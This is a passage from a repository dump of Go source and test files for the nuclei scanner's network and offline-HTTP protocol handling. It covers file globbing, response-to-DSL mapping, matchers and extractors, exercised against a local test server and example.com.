    "content": "package network\n\nimport (\n\t\"context\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"net/url\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nfunc TestNetworkExecuteWithResults(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-network\"\n\trequest := &Request{\n\t\tID:       templateID,\n\t\tAddress:  []string{\"{{Hostname}}:\"},\n\t\tReadSize: 2048,\n\t\tInputs:   []*Input{},\n\t\tOperators: operators.Operators{\n\t\t\tMatchers: []*matchers.Matcher{{\n\t\t\t\tName:  \"test\",\n\t\t\t\tPart:  \"data\",\n\t\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\t\tWords: []string{\"200 OK\"},\n\t\t\t}},\n\t\t\tExtractors: []*extractors.Extractor{{\n\t\t\t\tPart:  \"data\",\n\t\t\t\tType:  extractors.ExtractorTypeHolder{ExtractorType: extractors.RegexExtractor},\n\t\t\t\tRegex: []string{\"<h1>.*</h1>\"},\n\t\t\t}},\n\t\t},\n\t}\n\tts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t_, _ = w.Write([]byte(exampleBody))\n\t}))\n\tdefer ts.Close()\n\n\tparsed, err := url.Parse(ts.URL)\n\trequire.Nil(t, err, \"could not parse url\")\n\trequest.Address[0] = \"{{Hostname}}\"\n\n\trequest.Inputs = append(request.Inputs, &Input{Data: fmt.Sprintf(\"GET / HTTP/1.1\\r\\nHost: %s\\r\\n\\r\\n\", parsed.Host)})\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr = request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile network request\")\n\n\tvar finalEvent *output.InternalWrappedEvent\n\tt.Run(\"domain-valid\", func(t *testing.T) {\n\t\tmetadata := make(output.InternalEvent)\n\t\tprevious := make(output.InternalEvent)\n\t\tctxArgs := contextargs.NewWithInput(context.Background(), parsed.Host)\n\t\terr := request.ExecuteWithResults(ctxArgs, metadata, previous, func(event *output.InternalWrappedEvent) {\n\t\t\tfinalEvent = event\n\t\t})\n\t\trequire.Nil(t, err, \"could not execute network request\")\n\t})\n\trequire.NotNil(t, finalEvent, \"could not get event output from request\")\n\trequire.Equal(t, 1, len(finalEvent.Results), \"could not get correct number of results\")\n\trequire.Equal(t, \"test\", finalEvent.Results[0].MatcherName, \"could not get correct matcher name of results\")\n\trequire.Equal(t, 1, len(finalEvent.Results[0].ExtractedResults), \"could not get correct number of extracted results\")\n\trequire.Equal(t, \"<h1>Example Domain</h1>\", finalEvent.Results[0].ExtractedResults[0], \"could not get correct extracted results\")\n\tfinalEvent = nil\n\n\tt.Run(\"invalid-port-override\", func(t *testing.T) {\n\t\tmetadata := make(output.InternalEvent)\n\t\tprevious := make(output.InternalEvent)\n\t\tctxArgs := contextargs.NewWithInput(context.Background(), \"127.0.0.1:11211\")\n\t\terr := request.ExecuteWithResults(ctxArgs, metadata, previous, func(event *output.InternalWrappedEvent) {\n\t\t\tfinalEvent = event\n\t\t})\n\t\trequire.NotNil(t, err, \"could not execute network request\")\n\t})\n\trequire.Nil(t, finalEvent.Results, \"could not get event output from request\")\n\n\trequest.Inputs[0].Type = NetworkInputTypeHolder{NetworkInputType: hexType}\n\trequest.Inputs[0].Data = hex.EncodeToString([]byte(fmt.Sprintf(\"GET / HTTP/1.1\\r\\nHost: %s\\r\\n\\r\\n\", parsed.Host)))\n\n\tt.Run(\"hex-to-string\", func(t *testing.T) {\n\t\tmetadata := make(output.InternalEvent)\n\t\tprevious := make(output.InternalEvent)\n\t\tctxArgs := contextargs.NewWithInput(context.Background(), parsed.Host)\n\t\terr := request.ExecuteWithResults(ctxArgs, metadata, previous, func(event *output.InternalWrappedEvent) {\n\t\t\tfinalEvent = event\n\t\t})\n\t\trequire.Nil(t, err, \"could not execute network request\")\n\t})\n\trequire.NotNil(t, finalEvent, \"could not get event output from request\")\n\trequire.Equal(t, 1, len(finalEvent.Results), \"could not get correct number of results\")\n\trequire.Equal(t, \"test\", finalEvent.Results[0].MatcherName, \"could not get correct matcher name of results\")\n\trequire.Equal(t, 1, len(finalEvent.Results[0].ExtractedResults), \"could not get correct number of extracted results\")\n\trequire.Equal(t, \"<h1>Example Domain</h1>\", finalEvent.Results[0].ExtractedResults[0], \"could not get correct extracted results\")\n}\n\nvar exampleBody = `<!doctype html>\n<html>\n<head>\n    <title>Example Domain</title>\n\n    <meta charset=\"utf-8\" />\n    <meta http-equiv=\"Content-type\" content=\"text/html; charset=utf-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n    <style type=\"text/css\">\n    body {\n        background-color: #f0f0f2;\n        margin: 0;\n        padding: 0;\n        font-family: -apple-system, system-ui, BlinkMacSystemFont, \"Segoe UI\", \"Open Sans\", \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n        \n    }\n    div {\n        width: 600px;\n        margin: 5em auto;\n        padding: 2em;\n        background-color: #fdfdff;\n        border-radius: 0.5em;\n        box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02);\n    }\n    a:link, a:visited {\n        color: #38488f;\n        text-decoration: none;\n    }\n    @media (max-width: 700px) {\n        div {\n            margin: 0 auto;\n            width: auto;\n        }\n    }\n    </style>    \n</head>\n\n<body>\n<div>\n    <h1>Example Domain</h1>\n    <p>This domain is for use in illustrative examples in documents. You may use this\n    domain in literature without prior coordination or asking for permission.</p>\n    <p><a href=\"https://www.iana.org/domains/example\">More information...</a></p>\n</div>\n</body>\n</html>\n`\n"
  },
  {
    "path": "pkg/protocols/offlinehttp/find.go",
    "content": "package offlinehttp\n\nimport (\n\t\"io/fs\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/pkg/errors\"\n)\n\n// getInputPaths parses the specified input paths and returns a compiled\n// list of finished absolute paths to the files evaluating any allowlist, denylist,\n// glob, file or folders, etc.\nfunc (request *Request) getInputPaths(target string, callback func(string)) error {\n\tprocessed := make(map[string]struct{})\n\n\t// Template input includes a wildcard\n\tif strings.Contains(target, \"*\") {\n\t\tif err := request.findGlobPathMatches(target, processed, callback); err != nil {\n\t\t\treturn errors.Wrap(err, \"could not find glob matches\")\n\t\t}\n\t\treturn nil\n\t}\n\n\t// Template input is either a file or a directory\n\tfile, err := request.findFileMatches(target, processed, callback)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not find file\")\n\t}\n\tif file {\n\t\treturn nil\n\t}\n\n\t// Recursively walk down the Templates directory and run all\n\t// the template file checks\n\tif err := request.findDirectoryMatches(target, processed, callback); err != nil {\n\t\treturn errors.Wrap(err, \"could not find directory matches\")\n\t}\n\treturn nil\n}\n\n// findGlobPathMatches returns the matched files from a glob path\nfunc (request *Request) findGlobPathMatches(absPath string, processed map[string]struct{}, callback func(string)) error {\n\tmatches, err := filepath.Glob(absPath)\n\tif err != nil {\n\t\treturn errors.Errorf(\"wildcard found, but unable to glob: %s\\n\", err)\n\t}\n\tfor _, match := range matches {\n\t\tif filepath.Ext(match) != \".txt\" {\n\t\t\tcontinue // only process .txt files\n\t\t}\n\t\tif _, ok := processed[match]; !ok {\n\t\t\tprocessed[match] = struct{}{}\n\t\t\tcallback(match)\n\t\t}\n\t}\n\treturn nil\n}\n\n// findFileMatches finds if a path is an absolute file. If the path\n// is a file, it returns true otherwise false with no errors.\nfunc (request *Request) findFileMatches(absPath string, processed map[string]struct{}, callback func(string)) (bool, error) {\n\tinfo, err := os.Stat(absPath)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif !info.Mode().IsRegular() {\n\t\treturn false, nil\n\t}\n\tif filepath.Ext(absPath) != \".txt\" {\n\t\treturn false, nil // only process .txt files\n\t}\n\tif _, ok := processed[absPath]; !ok {\n\t\tprocessed[absPath] = struct{}{}\n\t\tcallback(absPath)\n\t}\n\treturn true, nil\n}\n\n// findDirectoryMatches finds matches for templates from a directory\nfunc (request *Request) findDirectoryMatches(absPath string, processed map[string]struct{}, callback func(string)) error {\n\terr := filepath.WalkDir(\n\t\tabsPath,\n\t\tfunc(p string, d fs.DirEntry, err error) error {\n\t\t\t// continue on errors\n\t\t\tif err != nil {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif d.IsDir() {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif filepath.Ext(p) != \".txt\" {\n\t\t\t\treturn nil // only process .txt files\n\t\t\t}\n\t\t\tif _, ok := processed[p]; !ok {\n\t\t\t\tcallback(p)\n\t\t\t\tprocessed[p] = struct{}{}\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t)\n\treturn err\n}\n"
  },
  {
    "path": "pkg/protocols/offlinehttp/find_test.go",
    "content": "package offlinehttp\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\tpermissionutil \"github.com/projectdiscovery/utils/permission\"\n)\n\nfunc TestFindResponses(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-offline\"\n\trequest := &Request{}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\texecuterOpts.Operators = []*operators.Operators{{}}\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile file request\")\n\n\ttempDir, err := os.MkdirTemp(\"\", \"test-*\")\n\trequire.Nil(t, err, \"could not create temporary directory\")\n\tdefer func() {\n\t\t_ = os.RemoveAll(tempDir)\n\t}()\n\n\tfiles := map[string]string{\n\t\t\"test.go\":           \"TEST\",\n\t\t\"config.txt\":        \"TEST\",\n\t\t\"final.txt\":         \"TEST\",\n\t\t\"image_ignored.png\": \"TEST\",\n\t\t\"test.txt\":          \"TEST\",\n\t}\n\tfor k, v := range files {\n\t\terr = os.WriteFile(filepath.Join(tempDir, k), []byte(v), permissionutil.TempFilePermission)\n\t\trequire.Nil(t, err, \"could not write temporary file\")\n\t}\n\texpected := []string{\"config.txt\", \"final.txt\", \"test.txt\"}\n\tgot := []string{}\n\terr = request.getInputPaths(tempDir+\"/*\", func(item string) {\n\t\tbase := filepath.Base(item)\n\t\tgot = append(got, base)\n\t})\n\trequire.Nil(t, err, \"could not get input paths for glob\")\n\trequire.ElementsMatch(t, expected, got, \"could not get correct file matches for glob\")\n\n\tgot = []string{}\n\terr = request.getInputPaths(tempDir, func(item string) {\n\t\tbase := filepath.Base(item)\n\t\tgot = append(got, base)\n\t})\n\trequire.Nil(t, err, \"could not get input paths for directory\")\n\trequire.ElementsMatch(t, expected, got, \"could not get correct file matches for directory\")\n}\n"
  },
  {
    "path": "pkg/protocols/offlinehttp/offlinehttp.go",
    "content": "package offlinehttp\n\nimport (\n\t\"github.com/pkg/errors\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n)\n\n// Request is a offline http response processing request\ntype Request struct {\n\toptions           *protocols.ExecutorOptions\n\tcompiledOperators []*operators.Operators\n}\n\n// RequestPartDefinitions contains a mapping of request part definitions and their\n// description. Multiple definitions are separated by commas.\n// Definitions not having a name (generated on runtime) are prefixed & suffixed by <>.\nvar RequestPartDefinitions = map[string]string{\n\t\"template-id\":           \"ID of the template executed\",\n\t\"template-info\":         \"Info Block of the template executed\",\n\t\"template-path\":         \"Path of the template executed\",\n\t\"host\":                  \"Host is the input to the template\",\n\t\"matched\":               \"Matched is the input which was matched upon\",\n\t\"type\":                  \"Type is the type of request made\",\n\t\"request\":               \"HTTP request made from the client\",\n\t\"response\":              \"HTTP response received from server\",\n\t\"status_code\":           \"Status Code received from the Server\",\n\t\"body\":                  \"HTTP response body received from server (default)\",\n\t\"content_length\":        \"HTTP Response content length\",\n\t\"header,all_headers\":    \"HTTP response headers\",\n\t\"duration\":              \"HTTP request time duration\",\n\t\"all\":                   \"HTTP response body + headers\",\n\t\"cookies_from_response\": \"HTTP response cookies in name:value format\",\n\t\"headers_from_response\": \"HTTP response headers in name:value format\",\n}\n\n// GetID returns the unique ID of the request if any.\nfunc (request *Request) GetID() string {\n\treturn \"\"\n}\n\n// Compile compiles the protocol request for further execution.\nfunc (request *Request) Compile(options *protocols.ExecutorOptions) error {\n\tfor _, operator := range options.Operators {\n\t\tif err := operator.Compile(); err != nil {\n\t\t\treturn errors.Wrap(err, \"could not compile operators\")\n\t\t}\n\t\trequest.compiledOperators = append(request.compiledOperators, operator)\n\t}\n\trequest.options = options\n\treturn nil\n}\n\n// Requests returns the total number of requests the YAML rule will perform\nfunc (request *Request) Requests() int {\n\treturn 1\n}\n"
  },
  {
    "path": "pkg/protocols/offlinehttp/operators.go",
    "content": "package offlinehttp\n\nimport (\n\t\"maps\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/responsehighlighter\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\n// Match matches a generic data response again a given matcher\nfunc (request *Request) Match(data map[string]interface{}, matcher *matchers.Matcher) (bool, []string) {\n\titem, ok := getMatchPart(matcher.Part, data)\n\tif !ok && matcher.Type.MatcherType != matchers.DSLMatcher {\n\t\treturn false, []string{}\n\t}\n\n\tswitch matcher.GetType() {\n\tcase matchers.StatusMatcher:\n\t\tstatusCode, ok := getStatusCode(data)\n\t\tif !ok {\n\t\t\treturn false, []string{}\n\t\t}\n\t\treturn matcher.Result(matcher.MatchStatusCode(statusCode)), []string{responsehighlighter.CreateStatusCodeSnippet(data[\"response\"].(string), statusCode)}\n\tcase matchers.SizeMatcher:\n\t\treturn matcher.Result(matcher.MatchSize(len(item))), []string{}\n\tcase matchers.WordsMatcher:\n\t\treturn matcher.ResultWithMatchedSnippet(matcher.MatchWords(item, nil))\n\tcase matchers.RegexMatcher:\n\t\treturn matcher.ResultWithMatchedSnippet(matcher.MatchRegex(item))\n\tcase matchers.BinaryMatcher:\n\t\treturn matcher.ResultWithMatchedSnippet(matcher.MatchBinary(item))\n\tcase matchers.DSLMatcher:\n\t\treturn matcher.Result(matcher.MatchDSL(data)), []string{}\n\tcase matchers.XPathMatcher:\n\t\treturn matcher.Result(matcher.MatchXPath(item)), []string{}\n\t}\n\treturn false, []string{}\n}\n\nfunc getStatusCode(data map[string]interface{}) (int, bool) {\n\tstatusCodeValue, ok := data[\"status_code\"]\n\tif !ok {\n\t\treturn 0, false\n\t}\n\tstatusCode, ok := statusCodeValue.(int)\n\tif !ok {\n\t\treturn 0, false\n\t}\n\treturn statusCode, true\n}\n\n// Extract performs extracting operation for an extractor on model and returns true or false.\nfunc (request *Request) Extract(data map[string]interface{}, extractor *extractors.Extractor) map[string]struct{} {\n\titem, ok := getMatchPart(extractor.Part, data)\n\tif !ok && !extractors.SupportsMap(extractor) {\n\t\treturn nil\n\t}\n\tswitch extractor.GetType() {\n\tcase extractors.RegexExtractor:\n\t\treturn extractor.ExtractRegex(item)\n\tcase extractors.KValExtractor:\n\t\treturn extractor.ExtractKval(data)\n\tcase extractors.DSLExtractor:\n\t\treturn extractor.ExtractDSL(data)\n\t}\n\treturn nil\n}\n\n// getMatchPart returns the match part honoring \"all\" matchers + others.\nfunc getMatchPart(part string, data output.InternalEvent) (string, bool) {\n\tif part == \"\" {\n\t\tpart = \"body\"\n\t}\n\tif part == \"header\" {\n\t\tpart = \"all_headers\"\n\t}\n\tvar itemStr string\n\n\tif part == \"all\" {\n\t\tbuilder := &strings.Builder{}\n\t\tbuilder.WriteString(types.ToString(data[\"body\"]))\n\t\tbuilder.WriteString(types.ToString(data[\"all_headers\"]))\n\t\titemStr = builder.String()\n\t} else {\n\t\titem, ok := data[part]\n\t\tif !ok {\n\t\t\treturn \"\", false\n\t\t}\n\t\titemStr = types.ToString(item)\n\t}\n\treturn itemStr, true\n}\n\n// responseToDSLMap converts an HTTP response to a map for use in DSL matching\nfunc (request *Request) responseToDSLMap(resp *http.Response, host, matched, rawReq, rawResp, body, headers string, duration time.Duration, extra map[string]interface{}) output.InternalEvent {\n\tdata := make(output.InternalEvent, 12+len(extra)+len(resp.Header)+len(resp.Cookies()))\n\tmaps.Copy(data, extra)\n\tfor _, cookie := range resp.Cookies() {\n\t\tdata[strings.ToLower(cookie.Name)] = cookie.Value\n\t}\n\tfor k, v := range resp.Header {\n\t\tk = strings.ToLower(strings.ReplaceAll(strings.TrimSpace(k), \"-\", \"_\"))\n\t\tdata[k] = strings.Join(v, \" \")\n\t}\n\n\tdata[\"path\"] = host\n\tdata[\"matched\"] = matched\n\tdata[\"request\"] = rawReq\n\tdata[\"response\"] = rawResp\n\tdata[\"status_code\"] = resp.StatusCode\n\tdata[\"body\"] = body\n\tdata[\"type\"] = request.Type().String()\n\tdata[\"all_headers\"] = headers\n\tdata[\"duration\"] = duration.Seconds()\n\tdata[\"template-id\"] = request.options.TemplateID\n\tdata[\"template-info\"] = request.options.TemplateInfo\n\tdata[\"template-path\"] = request.options.TemplatePath\n\tdata[\"content_length\"] = utils.CalculateContentLength(resp.ContentLength, int64(len(body)))\n\n\treturn data\n}\n\n// MakeResultEvent creates a result event from internal wrapped event\nfunc (request *Request) MakeResultEvent(wrapped *output.InternalWrappedEvent) []*output.ResultEvent {\n\treturn protocols.MakeDefaultResultEvent(request, wrapped)\n}\n\nfunc (request *Request) GetCompiledOperators() []*operators.Operators {\n\treturn request.compiledOperators\n}\n\nfunc (request *Request) MakeResultEventItem(wrapped *output.InternalWrappedEvent) *output.ResultEvent {\n\tdata := &output.ResultEvent{\n\t\tTemplateID:       types.ToString(wrapped.InternalEvent[\"template-id\"]),\n\t\tTemplatePath:     types.ToString(wrapped.InternalEvent[\"template-path\"]),\n\t\tInfo:             wrapped.InternalEvent[\"template-info\"].(model.Info),\n\t\tTemplateVerifier: request.options.TemplateVerifier,\n\t\tType:             types.ToString(wrapped.InternalEvent[\"type\"]),\n\t\tPath:             types.ToString(wrapped.InternalEvent[\"path\"]),\n\t\tMatched:          types.ToString(wrapped.InternalEvent[\"matched\"]),\n\t\tMetadata:         wrapped.OperatorsResult.PayloadValues,\n\t\tExtractedResults: wrapped.OperatorsResult.OutputExtracts,\n\t\tMatcherStatus:    true,\n\t\tIP:               types.ToString(wrapped.InternalEvent[\"ip\"]),\n\t\tRequest:          types.ToString(wrapped.InternalEvent[\"request\"]),\n\t\tResponse:         types.ToString(wrapped.InternalEvent[\"raw\"]),\n\t\tTemplateEncoded:  request.options.EncodeTemplate(),\n\t\tError:            types.ToString(wrapped.InternalEvent[\"error\"]),\n\t}\n\treturn data\n}\n"
  },
  {
    "path": "pkg/protocols/offlinehttp/operators_test.go",
    "content": "package offlinehttp\n\nimport (\n\t\"net/http\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nfunc TestResponseToDSLMap(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-http\"\n\trequest := &Request{}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\texecuterOpts.Operators = []*operators.Operators{{}}\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile file request\")\n\n\tresp := &http.Response{}\n\tresp.Header = make(http.Header)\n\tresp.Header.Set(\"Test\", \"Test-Response\")\n\thost := \"http://example.com/test/\"\n\tmatched := \"http://example.com/test/?test=1\"\n\n\tevent := request.responseToDSLMap(resp, host, matched, exampleRawRequest, exampleRawResponse, exampleResponseBody, exampleResponseHeader, 1*time.Second, map[string]interface{}{})\n\trequire.Len(t, event, 14, \"could not get correct number of items in dsl map\")\n\trequire.Equal(t, exampleRawResponse, event[\"response\"], \"could not get correct resp\")\n\trequire.Equal(t, \"Test-Response\", event[\"test\"], \"could not get correct resp for header\")\n}\n\nfunc TestHTTPOperatorMatch(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-http\"\n\trequest := &Request{}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\texecuterOpts.Operators = []*operators.Operators{{}}\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile file request\")\n\n\tresp := &http.Response{}\n\tresp.Header = make(http.Header)\n\tresp.Header.Set(\"Test\", \"Test-Response\")\n\thost := \"http://example.com/test/\"\n\tmatched := \"http://example.com/test/?test=1\"\n\n\tevent := request.responseToDSLMap(resp, host, matched, exampleRawRequest, exampleRawResponse, exampleResponseBody, exampleResponseHeader, 1*time.Second, map[string]interface{}{})\n\trequire.Len(t, event, 14, \"could not get correct number of items in dsl map\")\n\trequire.Equal(t, exampleRawResponse, event[\"response\"], \"could not get correct resp\")\n\trequire.Equal(t, \"Test-Response\", event[\"test\"], \"could not get correct resp for header\")\n\n\tt.Run(\"valid\", func(t *testing.T) {\n\t\tmatcher := &matchers.Matcher{\n\t\t\tPart:  \"body\",\n\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\tWords: []string{\"1.1.1.1\"},\n\t\t}\n\t\terr = matcher.CompileMatchers()\n\t\trequire.Nil(t, err, \"could not compile matcher\")\n\n\t\tisMatched, matched := request.Match(event, matcher)\n\t\trequire.True(t, isMatched, \"could not match valid response\")\n\t\trequire.Equal(t, matcher.Words, matched)\n\t})\n\n\tt.Run(\"negative\", func(t *testing.T) {\n\t\tmatcher := &matchers.Matcher{\n\t\t\tPart:     \"body\",\n\t\t\tType:     matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\tNegative: true,\n\t\t\tWords:    []string{\"random\"},\n\t\t}\n\t\terr := matcher.CompileMatchers()\n\t\trequire.Nil(t, err, \"could not compile negative matcher\")\n\n\t\tisMatched, matched := request.Match(event, matcher)\n\t\trequire.True(t, isMatched, \"could not match valid negative response matcher\")\n\t\trequire.Equal(t, []string{}, matched)\n\t})\n\n\tt.Run(\"invalid\", func(t *testing.T) {\n\t\tmatcher := &matchers.Matcher{\n\t\t\tPart:  \"body\",\n\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\tWords: []string{\"random\"},\n\t\t}\n\t\terr := matcher.CompileMatchers()\n\t\trequire.Nil(t, err, \"could not compile matcher\")\n\n\t\tisMatched, matched := request.Match(event, matcher)\n\t\trequire.False(t, isMatched, \"could match invalid response matcher\")\n\t\trequire.Equal(t, []string{}, matched)\n\t})\n}\n\nfunc TestHTTPOperatorExtract(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-http\"\n\trequest := &Request{}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\texecuterOpts.Operators = []*operators.Operators{{}}\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile file request\")\n\n\tresp := &http.Response{}\n\tresp.Header = make(http.Header)\n\tresp.Header.Set(\"Test-Header\", \"Test-Response\")\n\thost := \"http://example.com/test/\"\n\tmatched := \"http://example.com/test/?test=1\"\n\n\tevent := request.responseToDSLMap(resp, host, matched, exampleRawRequest, exampleRawResponse, exampleResponseBody, exampleResponseHeader, 1*time.Second, map[string]interface{}{})\n\trequire.Len(t, event, 14, \"could not get correct number of items in dsl map\")\n\trequire.Equal(t, exampleRawResponse, event[\"response\"], \"could not get correct resp\")\n\trequire.Equal(t, \"Test-Response\", event[\"test_header\"], \"could not get correct resp for header\")\n\n\tt.Run(\"extract\", func(t *testing.T) {\n\t\textractor := &extractors.Extractor{\n\t\t\tPart:  \"body\",\n\t\t\tType:  extractors.ExtractorTypeHolder{ExtractorType: extractors.RegexExtractor},\n\t\t\tRegex: []string{\"[0-9]+\\\\.[0-9]+\\\\.[0-9]+\\\\.[0-9]+\"},\n\t\t}\n\t\terr = extractor.CompileExtractors()\n\t\trequire.Nil(t, err, \"could not compile extractor\")\n\n\t\tdata := request.Extract(event, extractor)\n\t\trequire.Greater(t, len(data), 0, \"could not extractor valid response\")\n\t\trequire.Equal(t, map[string]struct{}{\"1.1.1.1\": {}}, data, \"could not extract correct data\")\n\t})\n\n\tt.Run(\"kval\", func(t *testing.T) {\n\t\textractor := &extractors.Extractor{\n\t\t\tType: extractors.ExtractorTypeHolder{ExtractorType: extractors.KValExtractor},\n\t\t\tKVal: []string{\"test_header\"},\n\t\t\tPart: \"header\",\n\t\t}\n\t\terr = extractor.CompileExtractors()\n\t\trequire.Nil(t, err, \"could not compile kval extractor\")\n\n\t\tdata := request.Extract(event, extractor)\n\t\trequire.Greater(t, len(data), 0, \"could not extractor kval valid response\")\n\t\trequire.Equal(t, map[string]struct{}{\"Test-Response\": {}}, data, \"could not extract correct kval data\")\n\t})\n}\n\nfunc TestHTTPMakeResult(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-http\"\n\trequest := &Request{}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\texecuterOpts.Operators = []*operators.Operators{{\n\t\tMatchers: []*matchers.Matcher{{\n\t\t\tName:  \"test\",\n\t\t\tPart:  \"body\",\n\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\tWords: []string{\"1.1.1.1\"},\n\t\t}},\n\t\tExtractors: []*extractors.Extractor{{\n\t\t\tPart:  \"body\",\n\t\t\tType:  extractors.ExtractorTypeHolder{ExtractorType: extractors.RegexExtractor},\n\t\t\tRegex: []string{\"[0-9]+\\\\.[0-9]+\\\\.[0-9]+\\\\.[0-9]+\"},\n\t\t}},\n\t}}\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile file request\")\n\n\tresp := &http.Response{}\n\tresp.Header = make(http.Header)\n\tresp.Header.Set(\"Test\", \"Test-Response\")\n\thost := \"http://example.com/test/\"\n\tmatched := \"http://example.com/test/?test=1\"\n\n\tevent := request.responseToDSLMap(resp, host, matched, exampleRawRequest, exampleRawResponse, exampleResponseBody, exampleResponseHeader, 1*time.Second, map[string]interface{}{})\n\trequire.Len(t, event, 14, \"could not get correct number of items in dsl map\")\n\trequire.Equal(t, exampleRawResponse, event[\"response\"], \"could not get correct resp\")\n\trequire.Equal(t, \"Test-Response\", event[\"test\"], \"could not get correct resp for header\")\n\n\tevent[\"ip\"] = \"192.169.1.1\"\n\tfinalEvent := &output.InternalWrappedEvent{InternalEvent: event}\n\tfor _, operator := range request.compiledOperators {\n\t\tresult, ok := operator.Execute(event, request.Match, request.Extract, false)\n\t\tif ok && result != nil {\n\t\t\tfinalEvent.OperatorsResult = result\n\t\t\tfinalEvent.Results = request.MakeResultEvent(finalEvent)\n\t\t}\n\t}\n\trequire.Equal(t, 1, len(finalEvent.Results), \"could not get correct number of results\")\n\trequire.Equal(t, \"test\", finalEvent.Results[0].MatcherName, 